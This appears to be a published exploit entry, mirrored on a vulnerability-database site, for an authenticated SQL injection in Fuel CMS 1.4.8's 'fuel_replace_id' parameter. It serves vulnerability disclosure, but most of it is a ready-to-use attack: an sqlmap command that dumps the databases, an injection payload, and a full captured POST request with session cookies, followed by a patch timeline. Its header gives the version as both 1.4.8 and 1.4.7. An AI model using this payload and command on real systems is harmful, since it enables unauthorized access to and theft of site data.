`# Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
# Date: 2020-08-19
# Exploit Author: c0mpu7er(@ymbank.cn)
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip
# Version: 1.4.7
# Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0
1. Description:
----------------------
FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
2. Proof of Concept:
----------------------
In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
Then run SQLmap to extract the data from the database:
python sqlmap.py -r 33.txt --dbs
3.Example payload:
Content-Disposition: form-data; name="fuel_replace_id"
11%27
4. Burpsuite request payload:
----------------------
POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Host: 192.168.1.12
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
Connection: close
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_replace_id"
11*
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="Submit"
Submit
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_inline"
1
------WebKitFormBoundarygI1zKZoBINTcL87g--
5. Timeline:
----------------------
2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8
2020-08-20: Reported vulnerability to vendor
2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation